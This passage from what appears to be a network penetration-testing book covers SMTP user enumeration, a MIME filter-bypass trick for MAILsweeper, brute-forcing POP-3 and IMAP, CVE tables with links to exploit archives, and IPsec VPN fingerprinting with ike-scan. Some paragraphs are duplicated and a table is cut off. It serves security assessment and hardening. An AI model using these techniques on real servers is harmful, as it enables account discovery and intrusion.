Most systems respond to a RCPT TO: request in the following manner if you attempt to relay unsolicited email through them:

```
RCPT TO: spam_me@hotmail.com
550 5.7.1 Unable to relay for spam_me@hotmail.com
```

Microsoft KB article 324958 (http://support.microsoft.com/kbid=324958) describes how to secure open SMTP relays when using Microsoft Exchange.

**Sendmail Assessment**

Most Unix-based systems run Sendmail, including Linux, Solaris, OpenBSD, and others. Sendmail is particularly vulnerable to information leak attacks in which local account usernames can be extracted, and also process manipulation attacks in which Sendmail functions such as prescan() are abused to execute arbitrary code.

**Sendmail information leak exposures**

If the Sendmail banner is obfuscated or modified, the true version of Sendmail can usually be ascertained by issuing a HELP command, as shown in Example 11-7; in this case it reveals that the server is running Sun Microsystems Sendmail 8.9.3.

*Example 11-7. Obtaining the exact version of Sendmail using HELP*

```
$ telnet mx4.sun.com 25
Trying 192.18.42.14...
Connected to nwkea-mail-2.sun.com.
Escape character is '^]'.
220 nwkea-mail-2.sun.com ESMTP Sendmail ready at Tue, 7 Jan 2003 02:25:20 -0800 (PST)
HELO world
250 nwkea-mail-2.sun.com Hello no-dns-yet.demon.co.uk [62.49.20.20] (may be forged),
pleased to meet you
HELP
214-This is Sendmail version 8.9.3+Sun
214-Commands:
214-   HELO  MAIL  RCPT  DATA  RSET
214-   NOOP  QUIT  HELP  VRFY  EXPN
214-For more info use "HELP <topics>".
214-smtp
214-To report bugs in the implementation contact Sun Microsystems
214-Technical Support.
214-For local information contact postmaster at this site.
214 End of HELP info
```

Valid local user account details can be enumerated by issuing EXPN, VRFY, or RCPT TO: commands, as shown in the following examples.

**EXPN.** The Sendmail EXPN command is historically used to expand details for a given email address, as shown in Example 11-8.
By analyzing the responses to these `EXPN` commands, I ascertain that the test user account doesn’t exist, mail for root is forwarded to chris.mcnab@trustmatta.com, and an `sshd` user account is allocated for privilege separation (`privsep`) purposes.

**VRFY.** The Sendmail `VRFY` command is typically used to verify that a given SMTP email address is valid. I can abuse this feature to enumerate valid local user accounts, as detailed in Example 11-9.

**Example 11-9. Using VRFY to enumerate local users**

```
$ telnet 10.0.10.11 25
Trying 10.0.10.11...
Connected to 10.0.10.11.
Escape character is '^]'.
HELO world
250 mail2 Hello onyx [192.168.0.252] (may be forged), pleased to meet you
VRFY test
550 5.1.1 test... User unknown
VRFY chris
250 2.1.5 Chris McNab <chris@mail2>
```

**RCPT TO.** The `RCPT TO:` technique is extremely effective at enumerating local user accounts on most Sendmail servers. Many security-conscious network administrators ensure that `EXPN` and `VRFY` commands don’t return user information, but `RCPT TO:` enumeration takes advantage of a vulnerability deep within Sendmail (one that isn’t easily removed). Example 11-10 shows standard `HELO` and `MAIL FROM:` commands being issued, along with a plethora of `RCPT TO:` commands to enumerate local users.

**Example 11-10. Using RCPT TO: to enumerate local users**

```
$ telnet 10.0.10.11 25
Trying 10.0.10.11...
Connected to 10.0.10.11.
Escape character is '^]'.
HELO world
250 mail2 Hello onyx [192.168.0.252] (may be forged), pleased to meet you
RCPT TO: test
250 2.1.5 <test@mail2>
RCPT TO: chris
250 2.1.5 <chris@mail2>
```

Even Sendmail services protected by a firewall SMTP proxy (such as the SMTP fixup functionality within Cisco PIX) are vulnerable to the RCPT TO: attack. Example 11-11 demonstrates how suspicious commands such as EXPN, VRFY, and HELP are filtered, but RCPT TO: enumeration is still possible.

Automating Sendmail user enumeration

Both RCPT TO: and VRFY user enumeration attacks can be automatically launched from the Brutus brute-force utility available from http://www.hoobie.net/brutus/. The Brutus program uses plug-ins known as Brutus Application Definition (BAD) files, and the following BAD files allow you to perform user enumeration attacks:

http://www.hoobie.net/brutus/SMTP_VRFY_User.bad
mailbrute is another utility that can enumerate valid user accounts through this technique. The tool, which is available from http://examples.oreilly.com/networksa/tools/mailbrute.c, can be compiled and run from any Unix-like environment.

Sendmail process manipulation vulnerabilities

Over the years, plenty of remote vulnerabilities have been found in Sendmail. At the time of this writing, the MITRE CVE list details the following serious vulnerabilities in Sendmail (not including denial-of-service or locally exploitable issues), as shown in Table 11-1.

Table 11-1. Remotely exploitable Sendmail vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-0058</td>
<td>22/03/2006</td>
<td>Sendmail 8.13.5 signal handler race condition resulting in arbitrary code execution.</td>
</tr>
<tr>
<td>CVE-2003-0161</td>
<td>29/03/2003</td>
<td>The prescan() function in Sendmail before 8.12.9 doesn’t properly handle certain conversions from char and int types, causing denial of service or possible execution of arbitrary code.</td>
</tr>
<tr>
<td>CVE-2002-1337</td>
<td>03/03/2003</td>
<td>Buffer overflow in Sendmail 8.12.7 allows remote attackers to execute arbitrary code via certain formatted address fields, as processed by the crackaddr() function of headers.c.</td>
</tr>
<tr>
<td>CVE-2002-0906</td>
<td>28/06/2002</td>
<td>Sendmail 8.12.4 and earlier, if running in a nondefault configuration, can be compromised by an attacker using an authoritative DNS server to provide a malformed TXT record to the mail server upon connecting.</td>
</tr>
<tr>
<td>CVE-1999-1506</td>
<td>29/01/1990</td>
<td>Vulnerability in SMI Sendmail 4.0 and earlier, on SunOS up to 4.0.3, allows remote bin access.</td>
</tr>
<tr>
<td>CVE-1999-0163</td>
<td>Unknown</td>
<td>In older versions of Sendmail, an attacker could use a pipe character to execute root commands.</td>
</tr>
<tr>
<td>CVE-1999-0047</td>
<td>01/01/1997</td>
<td>MIME overflow in Sendmail 8.8.3 and 8.8.4.</td>
</tr>
</tbody>
</table>

Sendmail exploit scripts. Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). At the time of this writing, neither MSF nor Immunity CANVAS support any of these Sendmail issues. CORE IMPACT supports CVE-2002-1337 (Sendmail 8.12.7 crackaddr() overflow).
**Microsoft SMTP Service Assessment**

A number of serious remotely exploitable issues have been identified in the Microsoft Exchange SMTP service over the last few years. A number of zero-day denial-of-service issues also exist in Microsoft Exchange at the time of this writing, one of which is found in the Argeniss exploit pack for Immunity CANVAS. In light of this, it is not advisable to run the service exposed to the public Internet. Table 11-2 lists remotely exploitable issues as found in MITRE CVE at the time of this writing.

Table 11-2. Remotely exploitable Microsoft Exchange SMTP vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-0027</td>
<td>09/05/2006</td>
<td>Exchange Server 2003 SP2 message calendar (iCal) attachement heap overflow.</td>
</tr>
<tr>
<td>CVE-2002-0698</td>
<td>25/07/2002</td>
<td>Exchange Server 5.5 allows remote attackers to execute arbitrary code via an EHLO request from a system with a long name as obtained through a reverse DNS lookup, triggering a buffer overfl.</td>
</tr>
<tr>
<td>CVE-2002-0054</td>
<td>27/02/2002</td>
<td>SMTP service in Windows 2000 and Exchange Server 5.5 allows mail relay through a null AUTH command.</td>
</tr>
<tr>
<td>CVE-1999-0682</td>
<td>06/08/1999</td>
<td>Exchange Server 5.5 allows a remote attacker to relay email using encapsulated SMTP addresses.</td>
</tr>
</tbody>
</table>

**Microsoft Exchange Server exploit scripts**

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). At the time of this writing, MSF only supports CVE-2003-0714 (XEXCHSO overflow). Immunity CANVAS supports CVE-2003-0714 and CVE-2005-0560 (X-LINK2STATE overflow), and CORE

GLEG VulnDisco doesn’t cover any Microsoft Exchange Server issues at this time, but the Argeniss 0day ultimate exploits pack contains a zero-day, unpatched, DoS exploit for Exchange Server 2003 and a DoS exploit for a known bug in Exchange Server 2000 (CVE-2007-0213).

**SMTP Content Checking Circumvention**

Many organizations run inbound SMTP relay servers that can scrub email to detect and remove viruses, spam, and other adverse material before forwarding the email message to the internal network. These services can be circumvented and bypassed in some cases, as discussed next.

In 2000, I identified a serious flaw in Clearswift MAILsweeper 4.2 that used malformed MIME headers to relay viruses without being quarantined. Since then, other security issues have been identified within MAILsweeper that can relay viruses unchecked. Table 11-3 summarizes the issues identified in MAILsweeper as listed in the MITRE CVE list at [http://cve.mitre.org](http://cve.mitre.org).

**Table 11-3. MAILsweeper circumvention issues**

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-3215 and CVE-2006-3216</td>
<td>21/06/2006</td>
<td>MAILsweeper 4.3.19 character set security bypass issues</td>
</tr>
<tr>
<td>CVE-2003-1154</td>
<td>05/11/2003</td>
<td>MAILsweeper 4.3.9 zip archive processing vulnerability</td>
</tr>
<tr>
<td>CVE-2003-1330</td>
<td>03/02/2003</td>
<td>MAILsweeper 4.3.6 SP1 and prior “on strip successful” filter bypass</td>
</tr>
<tr>
<td>CVE-2003-0121</td>
<td>03/03/2003</td>
<td>MAILsweeper 4.3.7 and prior MIME encapsulation filter bypass</td>
</tr>
<tr>
<td>CVE-2001-1581</td>
<td>10/04/2001</td>
<td>MAILsweeper 4.2 and prior “file blocker” filter bypass</td>
</tr>
</tbody>
</table>

The malformed MIME headers issue was reported to the vendor in February 2001 and is listed in Table 11-3 as CVE-2003-1330. The technique was extremely simple, involving two MIME fields related to email attachments (filename and name).

Example 11-12 shows a legitimate email message and attachment generated by Outlook or any current email client, from john@example.org to mickey@example.org with the text/plain attachment report.txt.
The vulnerability exists in the way that the MAILsweeper SMTP relay and Outlook email clients open the report.txt file. The MAILsweeper gateway reads the name value (report.txt) when processing and scanning the file for viruses and malicious code, and the Outlook client reads the filename value (report.txt) when opening and processing the file on the user desktop.

Any type of malicious virus or Trojan horse program can pass through this filter and make its way to the user desktop by modifying the MIME name and filename values. To send a malicious executable, set the name to an unobjectionable value that won’t be processed for virus code (report.txt) and the filename value to a type that won’t be executed client-side (report.vbs), as shown here:

```plaintext
- ------ _=_NextPart_000_02D35B68.BA121FA3
Content-Type: text/plain; charset="iso-8859-1"
Mickey,

Here’s that report you were after.

- ------ _=_NextPart_000_02D35B68.BA121FA3
Content-Type: text/plain;
 name="report.txt"
Content-Disposiition: attachment;
 filename="report.txt"
< data for the text document here >

- ------ _=_NextPart_000_02D35B68.BA121FA3

The vulnerability exists in the way that the MAILsweeper SMTP relay and Outlook email clients open the report.txt file. The MAILsweeper gateway reads the name value (report.txt) when processing and scanning the file for viruses and malicious code, and the Outlook client reads the filename value (report.txt) when opening and processing the file on the user desktop.

Any type of malicious virus or Trojan horse program can pass through this filter and make its way to the user desktop by modifying the MIME name and filename values. To send a malicious executable, set the name to an unobjectionable value that won’t be processed for virus code (report.txt) and the filename value to a type that won’t be executed client-side (report.vbs), as shown here:
There are plenty of these issues within filtering packages such as MAILsweeper. It is therefore important that networks are set up with defense in depth to prevent known viruses from being pushed through such filters and making their way to the user desktop.

To learn more, check CVE-2002-1121 in the MITRE CVE list at http://cve.mitre.org, which relates to RFC 2046 message fragmentation and assembly. The following SMTP gateway products are susceptible to mail-fragmentation issues:

- GFI MailSecurity for Exchange prior to version 7.2
- InterScan VirusWall prior to version 3.52 build 1494
- MIMEDefang prior to version 2.21

**POP-2 and POP-3**

**Post Office Protocol** 2 and 3 (POP-2 and POP-3) are end user email services. POP-2 services are very rare nowadays, as most organizations use POP-3, which listens on TCP port 110 (or port 995 if using SSL or TLS to provide network encryption). Common POP-3 email services include Qualcomm QPOP (also known as qpopper; it runs on many Unix platforms) and the POP-3 component of Microsoft Exchange. These services are traditionally vulnerable to brute-force password grinding and process manipulation attacks.

**POP-3 Brute-Force Password Grinding**

After performing enumeration and identifying local user accounts through Sendmail and other avenues, it is trivial to perform a brute-force password grinding attack. As I’ve discussed throughout the book so far, tools such as Brutus and THC Hydra are used to perform fast brute-force password grinding attacks.

Most POP-3 services are susceptible to brute-force password grinding, for the following reasons:

- They don’t pay attention to account lockout policies.
- They allow a large number of login attempts before disconnecting.
- They don’t log unsuccessful login attempts.

Many specific Unix-based POP-3 brute-force tools exist and can be found in the Packet Storm archive, including:

http://packetstormsecurity.org/groups/ADM/ADM-pop.c
http://packetstormsecurity.org/Crackers/Pop_crack.tar.gz
http://packetstormsecurity.org/Crackers/hv-pop3crack.pl
POP-3 Process Manipulation Attacks

Both unauthenticated and authenticated process manipulation attacks pose a serious threat to security. Most users who pick up email via POP-3 shouldn’t be allowed to execute arbitrary commands on the POP-3 server; however, they can do so via post-authentication overflows in user commands such as LIST, RETR, or DELE.

Qualcomm QPOP process manipulation vulnerabilities

At the time of this writing, the MITRE CVE list details a handful of vulnerabilities in Qualcomm QPOP (not including denial-of-service issues), as shown in Table 11-4. Serious post-authentication vulnerabilities are also listed in Table 11-4 because they allow users to execute arbitrary code on the server.

Table 11-4. Remotely exploitable QPOP vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0143</td>
<td>10/03/2003</td>
<td>QPOP 4.0.5f1 post-authentication MDEF macro name overflow</td>
</tr>
<tr>
<td>CVE-2001-1046</td>
<td>02/06/2001</td>
<td>QPOP 4.0.2 USER command overflow</td>
</tr>
<tr>
<td>CVE-2000-0442</td>
<td>23/05/2000</td>
<td>QPOP 2.53 post-authentication EUIDL overflow</td>
</tr>
<tr>
<td>CVE-2000-0096</td>
<td>26/01/2000</td>
<td>QPOP 3.0 post-authentication LIST overflow</td>
</tr>
<tr>
<td>CVE-1999-0822</td>
<td>29/11/1999</td>
<td>QPOP 3.0 AUTH command overflow</td>
</tr>
<tr>
<td>CVE-1999-0006</td>
<td>28/06/1998</td>
<td>QPOP 2.5 PASS command overflow</td>
</tr>
</tbody>
</table>

Public exploits for these issues are packaged and available at http://examples.oreilly.com/networksa/tools/qpop-exploits.zip. At the time of this writing, there are no public exploits for the USER overflow (CVE-2001-1046). MSF, Immunity CANVAS, and CORE IMPACT have no support for QPOP issues at this time.

Microsoft Exchange POP-3 process manipulation vulnerabilities

At the time of this writing, no serious remotely exploitable vulnerabilities are known in the Microsoft Exchange POP-3 server. Upon scouring the MITRE CVE list, ISS X-Force database, and CERT knowledge base, no publicized bugs were found. This fact may well change over time, so it is important to check these vulnerability lists to assure the security of this service component into the future.

IMAP

Internet Message Access Protocol (IMAP) services are commonly found running on TCP port 143. The IMAP protocol is much like POP-3; a user authenticates with a plaintext network service and can then collect and manage her email.
Most accessible IMAP servers on the Internet today run the Washington University IMAP service (known as both UW IMAP and WU-IMAP, available from http://www.washington.edu/imap/), along with Courier IMAP (http://www.courier-mta.org/imap/) and Microsoft Exchange IMAP.

**IMAP Brute Force**

As with many other simple plaintext protocols (Telnet, FTP, POP-3, etc.), Brutus and THC Hydra do a good job of brute-forcing user account passwords from both Unix-based and Windows environments. As mentioned earlier, they can be downloaded from:

http://www.hoobie.net/brutus/brutus-download.html
http://www.thc.org/releases.php

IMAP services, like POP-3, are notoriously susceptible to brute-force password-grinding attacks, as they often do not pay attention to account lockout policies and often do not log failed authentication attempts.

**IMAP Process Manipulation Attacks**

Table 11-5 lists remotely exploitable UW IMAP and Courier IMAP vulnerabilities, along with MITRE CVE references. At this time, no significant remotely exploitable issues exist in Microsoft Exchange IMAP, according to a number of sources. A number of other issues relate to many other third-party IMAP services that are less common and can be found by searching MITRE CVE manually.

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2933</td>
<td>04/10/2005</td>
<td>UW IMAP 2004f mailbox name overflow</td>
</tr>
<tr>
<td>CVE-2005-0198</td>
<td>28/01/2005</td>
<td>UW IMAP 2004b CRAM-MD5 authentication bypass</td>
</tr>
<tr>
<td>CVE-2004-0777</td>
<td>18/08/2004</td>
<td>Courier IMAP 2.2.1 authentication logging format string bug</td>
</tr>
<tr>
<td>CVE-2004-0224</td>
<td>11/03/2004</td>
<td>Courier IMAP 2.x unicode character conversion overflow</td>
</tr>
<tr>
<td>CVE-2002-0379</td>
<td>10/05/2002</td>
<td>UW IMAP 2000c post-authentication BODY command overflow</td>
</tr>
<tr>
<td>CVE-2000-0284</td>
<td>16/04/2000</td>
<td>UW IMAP 4.7 (IMAP4rev1 12.264) post-authentication LIST command overflow</td>
</tr>
<tr>
<td>CVE-1999-0042</td>
<td>02/03/1997</td>
<td>UW IMAP 4.1beta LOGIN command overflow</td>
</tr>
</tbody>
</table>
UW IMAP exploit scripts

The following public exploit scripts are available for a number of these vulnerabilities in the accompanying tools archive for this book (http://examples.oreilly.com/networksa/tools/). These exploit scripts are detailed in Table 11-6.

Table 11-6. Publicly available UW IMAP exploit scripts

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>UW IMAP version</th>
<th>Target platform(s)</th>
<th>Exploit script</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0042</td>
<td>IMAP4rev1 v10.164</td>
<td>Linux &amp; BSD</td>
<td>imaps.tar.gz</td>
</tr>
<tr>
<td>CVE-1999-0005</td>
<td>IMAP4rev1 v10.223</td>
<td>Linux</td>
<td>imapd-ex.c</td>
</tr>
<tr>
<td>CVE-1999-0005</td>
<td>IMAP4rev1 v10.223</td>
<td>Linux</td>
<td>imapx.c</td>
</tr>
<tr>
<td>CVE-1999-0005</td>
<td>IMAP4rev1 v10.223</td>
<td>Linux</td>
<td>imap.c</td>
</tr>
<tr>
<td>CVE-1999-0005</td>
<td>IMAP4rev1 v10.205</td>
<td>Solaris (x86)</td>
<td>solx86-imapd.c</td>
</tr>
</tbody>
</table>

The original BugTraq posting and technical details relating to CVE-1999-0005, including the exploit, are available from http://packetstormsecurity.org/new-exploits/imapd4.txt.

CORE IMPACT has no support for UW IMAP or Courier IMAP issues at this time, but it has support for a number of Cyrus IMAP, Lotus Domino IMAP, and MDaemon IMAP issues. Immunity CANVAS also has no UW IMAP or Courier IMAP support, but it has exploit modules for a number of third-party IMAP packages, including MDaemon IMAP and Ipswitch IMAIL IMAP.

MSF supports a very large number of IMAP issues in its stable branch, which can be reviewed at http://framework.metasploit.com/exploits/list.

Email Services Countermeasures

The following countermeasures should be considered when hardening email services:

- Don’t run Sendmail or Microsoft Exchange in high-security environments because the software contains many bugs and is heavily bloated. Sound Unix-based alternatives include qmail (http://www.qmail.org) and exim (http://www.exim.org), neither of which is as complex or susceptible to Internet-based attacks. It is advisable to use firewall-secure SMTP services and proxies or dedicated mail-scrubbing appliances to process Internet-based SMTP traffic before passing it onto Sendmail or Microsoft Exchange servers.
- To minimize the impact of a user enumeration and password-grinding attack, ensure that all user accounts on SMTP and POP-3 mail servers have strong passwords. Ideally, SMTP servers shouldn’t also run remote maintenance or email pickup services to the public Internet.
• If you do offer public POP-3 or IMAP mail services, investigate their resilience from brute-force attack, including logging provisions and whether an account lockout policy can be deployed.

• Using SSL-wrapped versions of POP-3 and IMAP services will minimize the risk of plaintext user account password details from being sniffed. Plaintext services are open to determined attack, so you need either SSL or VPN client software to protect both passwords and the email data sent from point to point.

• Ensure that inbound commercial SMTP relay and anti-virus scanners (such as ClearswiftMAILsweeper and InterScan VirusWall) are patched and maintained to prevent circumvention attacks from being effective.
This chapter tackles assessment of VPN services found running on network boundaries. Increasingly, VPN services provide access for both branch offices and home users, using IPsec, Microsoft PPTP, and SSL. These VPN service endpoints are under threat from information leak, buffer overflow, DoS, and offline password-grinding attacks, which are detailed in the following sections.

**IPsec VPNs**

VPN technologies and their underlying protocols fill entire books already. One book I used to research IPsec key exchange and authentication protocols is *IPSec: Securing VPNs* by Carlton R. Davis (McGraw-Hill). If you require detailed low-level information about IPsec and its various modes and protocols, you should read a book dedicated to the subject. Here I tackle the key IPsec protocols and mechanisms at a high level and discuss known remotely exploitable weaknesses and attacks.

Standard Internet Protocol (IP) packets are inherently insecure. IPsec was designed to provide security options and enhancements to IP, and to negate the following security weaknesses:

- IP spoofing and packet-source forgery issues
- Modification of data within IP packets
- Replay attacks
- Sniffing attacks

Most IPsec implementations use the *Internet Key Exchange* (IKE) service to provide authentication and key exchange when establishing and maintaining an IPsec connection. Some older IPsec implementations use manual keying, but this is now considered obsolete. After authenticating and negotiating keying material through IKE, a *Security Association* (SA) is established between the client and IPsec server. The SA defines the IPsec protocol to be used, as well as cryptographic algorithms, keys, and their lifetime. Figure 12-1 outlines the relationship between IPsec protocols.
The IPsec Authentication Header (AH) mechanism provides data origin authentication for IP datagrams within IPsec traffic by performing cryptographic hashing. AH provides protection from data modification and replay attacks. The Encapsulating Security Payload (ESP) is a second mechanism, one that encapsulates and encrypts IP datagrams to protect them from sniffing attacks.

**ISAKMP and IKE**

Internet Security Association and Key Management Protocol (ISAKMP) is accessible through UDP port 500 and provides IKE support for IPsec VPN tunnels. IKE is used as the authentication mechanism when establishing an IPsec connection; it supports three classes of authentication methods: pre-shared keys (PSKs), public key encryption, and digital signatures.

IKE uses a two-phase process to establish the IPsec SA: the first phase authenticates the peers and establishes an ISAKMP SA (used during phase two), and the second phase establishes an IPsec SA. Some implementations have additional phases between the two to provide additional authentication or send information to the client. Examples of these are XAUTH, hybrid mode, and mode config; however, none of these extensions are formal standards (XAUTH is an IETF draft published in 1997 and is used by Cisco, Nortel, and others; hybrid mode is an IETF draft first published in 1998 that is used by Check Point; and mode config is a 2001 draft that is used by Cisco, Check Point, and others).

IKE phase one can run in one of two modes: main mode or aggressive mode. IKE phase two has only a single mode, called quick mode. When testing IPsec VPN systems, you will be dealing primarily with IKE phase one, as phase two is only accessible upon successful authentication. For the remainder of this section, we will only be considering IKE phase one testing.
Main mode

Main mode is a phase one key-exchange mechanism that protects the identity of the client and authentication data by using a Diffie-Hellman (DH) exchange to generate a mutual secret key. All VPN servers should support main mode, as mandated in RFC 2409. Figure 12-2 shows the main mode IKE messages sent between the initiator and responder.

![Figure 12-2. IKE phase one main mode messages in transit](image)

In total, six messages are transmitted between the two parties. Here is a breakdown of the messages and their purpose:

**Message 1**

An IKE SA (not to be confused with an IPsec SA) proposal is sent to initiate the key exchange mechanism.

**Message 2**

The IKE SA is accepted.

**Messages 3 and 4**

DH public values (KE) are exchanged, along with a random data nonce payload for each party (Ni and Nr). From this exchange, a mutual secret key is computed. After this point, the shared keys computed from the DH exchange are used to encrypt IKE payloads.

**Messages 5 and 6**

Authentication data (AUTH) is sent, protected by the DH shared secret generated previously. The identification of the parties (IDii and IDir) is also protected.

There are two points worth noting:

- The expensive DH computation is not performed until after the first packet exchange.
- The peer IDs are passed encrypted, not in the clear.
Aggressive mode

An alternative to main mode is aggressive mode, in which identity protection isn’t required. Support for aggressive mode is optional, so not all VPN servers support it. A total of three messages are transmitted during a successful aggressive mode IKE exchange (compared with six for main mode), which reduces the time required to complete the phase one exchange, but also impacts security and integrity because the peer ID is passed in the clear (not encrypted).

This mode is generally used within remote access VPN solutions. Because of the way the keying material is calculated, it is not possible to use main mode with pre-shared key authentication unless the IP address of the initiator is known beforehand (which is usually dynamic in a remote access situation).

Aggressive mode is also susceptible to a resource exhaustion attack, resulting in DoS because the expensive DH computation must be performed immediately after receiving the first packet. A hostile peer could saturate the VPN server’s CPU by sending a large number of aggressive mode IKE requests with spoofed source addresses.

Figure 12-3 shows the three aggressive mode messages sent between the initiator and responder.

![Figure 12-3. IKE phase one aggressive mode messages in transit](image)

Here is a breakdown of the aggressive mode messages and their content:

**Message 1**

An IKE SA proposal is sent, along with a DH public value (\( KE \)), random nonce data (\( Ni \)), and identity information (\( IDii \)). Because the identity is passed in the first packet, before the DH exchange has completed, it cannot be encrypted.

**Message 2**

The IKE SA is accepted, and the responder’s DH public value is sent, along with a nonce (\( Nr \)), identity information (\( IDir \)), and an authentication payload (\( AUTH \)).

**Message 3**

Authentication information is sent back, protected by the DH secret key derived previously.
Attacking IPsec VPNs

To assess the security of an IPsec VPN, as with any target network or system, you need to perform enumeration, initial testing, investigation, and qualification of vulnerabilities. Here I discuss how to assess IPsec VPN services accessible over IP. If you have access to the wire, there are a number of complex man-in-the-middle (MITM) and sniffing attacks that can be launched to compromise IPsec VPN tunnels; however, these attacks lie outside of the scope of this book.

I make extensive use of Roy Hills’ ike-scan (http://www.nta-monitor.com/tools/ike-scan/) to test IPsec servers through the ISAKMP service (through UDP port 500). ike-scan is a command-line open source tool that can be run from Windows, MacOS, Linux, and most Unix flavors. Detailed and current ike-scan documentation can be found in the NTA Monitor Wiki at http://www.nta-monitor.com/wiki/.

IPsec Service Endpoint Enumeration

The first step is to find all the IPsec service endpoints on the target network. This is best done by sending IKE phase one requests and observing which systems respond to them. Example 12-1 shows ike-scan enumerating IPsec servers on the 10.0.0.0/24 network. In this example, I specify the --quiet option to omit the details of the returned packets from the output, because I am only interested in finding the VPN servers at this stage.

Example 12-1. Identifying IPsec VPN endpoints with ike-scan

```
$ ike-scan --quiet 10.0.0.0/24
Starting ike-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.1 Notify message 14 (NO-PROPOSAL-CHOSEN)
10.0.0.4 Main Mode Handshake returned
10.0.0.11 Main Mode Handshake returned
10.0.0.20 Notify message 14 (NO-PROPOSAL-CHOSEN)
10.0.0.47 Main Mode Handshake returned
10.0.0.50 Main Mode Handshake returned
10.0.0.254 Main Mode Handshake returned

Ending ike-scan 1.9: 256 hosts scanned in 41.126 seconds (6.22 hosts/sec). 5 returned handshake; 2 returned notify
```

Here I have located a total of seven VPN services, five of which return a main mode handshake, and the remaining two return notify messages. This technique will pick up most VPN servers, but it may not pick up all of them because some may only be configured to respond to IKE requests from specific addresses (such as site-to-site VPN gateways).
Upon identifying accessible IPsec service endpoints, I probe them further using *ike-scan*. Through such testing I can usually obtain details of usernames, hostnames, supported transports, and other useful information.

**IPsec Service Endpoint Fingerprinting**

The *ike-scan* tool can be used to fingerprint accessible IPsec service endpoints. The two techniques used for fingerprinting at this level are as follows:

- Analysis of the IKE *backoff* pattern
- Analysis of the *Vendor ID* (VID)

Example 12-2 shows *ike-scan* running against the five IP addresses that returned a handshake in Example 12-1. I specify the `--showbackoff` option to display the backoff patterns and the `--multiline` option to split the packet decode across multiple lines, so they are easy to read.

*Example 12-2. ike-scan fingerprinting the VPN servers*

```
$ ike-scan --showbackoff --multiline 10.0.0.4 10.0.0.11 10.0.0.47 10.0.0.50 10.0.0.254
Starting ike-scan 1.9 with 5 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.4   Main Mode Handshake returned
  HDR=(CKY-R=16b5cca0f4cf3a29)
  SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
   LifeDuration(4)=0x00007080)
  VID=1e2b516905991c7d96fb87e6410000004 (Windows-2003-or-XP-SP2)
  VID=40487d56e75c0e8525e7de774d6ec2d3 (IKE Fragmentation)
  VID=90cb891eb66eb86381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02)
10.0.0.11  Main Mode Handshake returned
  HDR=(CKY-R=21b6f96306fe758f)
  SA=(Enc=DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds
   LifeDuration=28800)
10.0.0.47  Main Mode Handshake returned
  HDR=(CKY-R=a997321d37e9afa2)
  SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds
   LifeDuration(4)=0x00007080)
  VID=dd180d21e56ca766ba32211dd8ad9 (strongSwan 4.0.5)
  VID=afcad713eb6966352a6427b1f (Dead Peer Detection v1.0)
10.0.0.50  Main Mode Handshake returned
  HDR=(CKY-R=0af98bad8d200783)
  SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=1:modp768 LifeType=Seconds
   LifeDuration(4)=0x00007080)
10.0.0.254 Main Mode Handshake returned
  HDR=(CKY-R=324a3633e6174897)
  SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
   LifeDuration=28800)
  VID=166f932d56e664de4d4d4d37e2313f0d081510000000000000000000 (Netscreen-15)
  VID=afcad71368a1f19c96b8696fc77570100 (Dead Peer Detection v1.0)
  VID=48656172744265617454e674696669386b0100 (Heartbeat Notify)
```
### Example 12-2. ike-scan fingerprinting the VPN servers (continued)

**IKE Backoff Patterns:**

<table>
<thead>
<tr>
<th>IP Address</th>
<th>No.</th>
<th>Recv time</th>
<th>Delta Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.0.0.4</td>
<td>1</td>
<td>117108960.343478</td>
<td>0.000000</td>
</tr>
<tr>
<td>10.0.0.4</td>
<td>2</td>
<td>117108961.08901</td>
<td>0.665423</td>
</tr>
<tr>
<td>10.0.0.4</td>
<td>3</td>
<td>117108963.021053</td>
<td>2.012152</td>
</tr>
<tr>
<td>10.0.0.4</td>
<td>4</td>
<td>117108966.976238</td>
<td>3.955185</td>
</tr>
<tr>
<td>10.0.0.4</td>
<td>5</td>
<td>117108974.987006</td>
<td>8.010768</td>
</tr>
<tr>
<td>10.0.0.4</td>
<td>6</td>
<td>117108991.013191</td>
<td>16.026185</td>
</tr>
<tr>
<td>10.0.0.4</td>
<td>7</td>
<td>117109023.016652</td>
<td>32.003461</td>
</tr>
</tbody>
</table>

Implementation guess: Windows 2000, 2003 or XP

<table>
<thead>
<tr>
<th>IP Address</th>
<th>No.</th>
<th>Recv time</th>
<th>Delta Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.0.0.11</td>
<td>1</td>
<td>117049444.831231</td>
<td>0.000000</td>
</tr>
<tr>
<td>10.0.0.11</td>
<td>2</td>
<td>117049445.826044</td>
<td>4.994813</td>
</tr>
<tr>
<td>10.0.0.11</td>
<td>3</td>
<td>117049445.825283</td>
<td>4.999239</td>
</tr>
<tr>
<td>10.0.0.11</td>
<td>4</td>
<td>117049446.824547</td>
<td>4.999264</td>
</tr>
<tr>
<td>10.0.0.11</td>
<td>5</td>
<td>117049446.823799</td>
<td>4.999252</td>
</tr>
<tr>
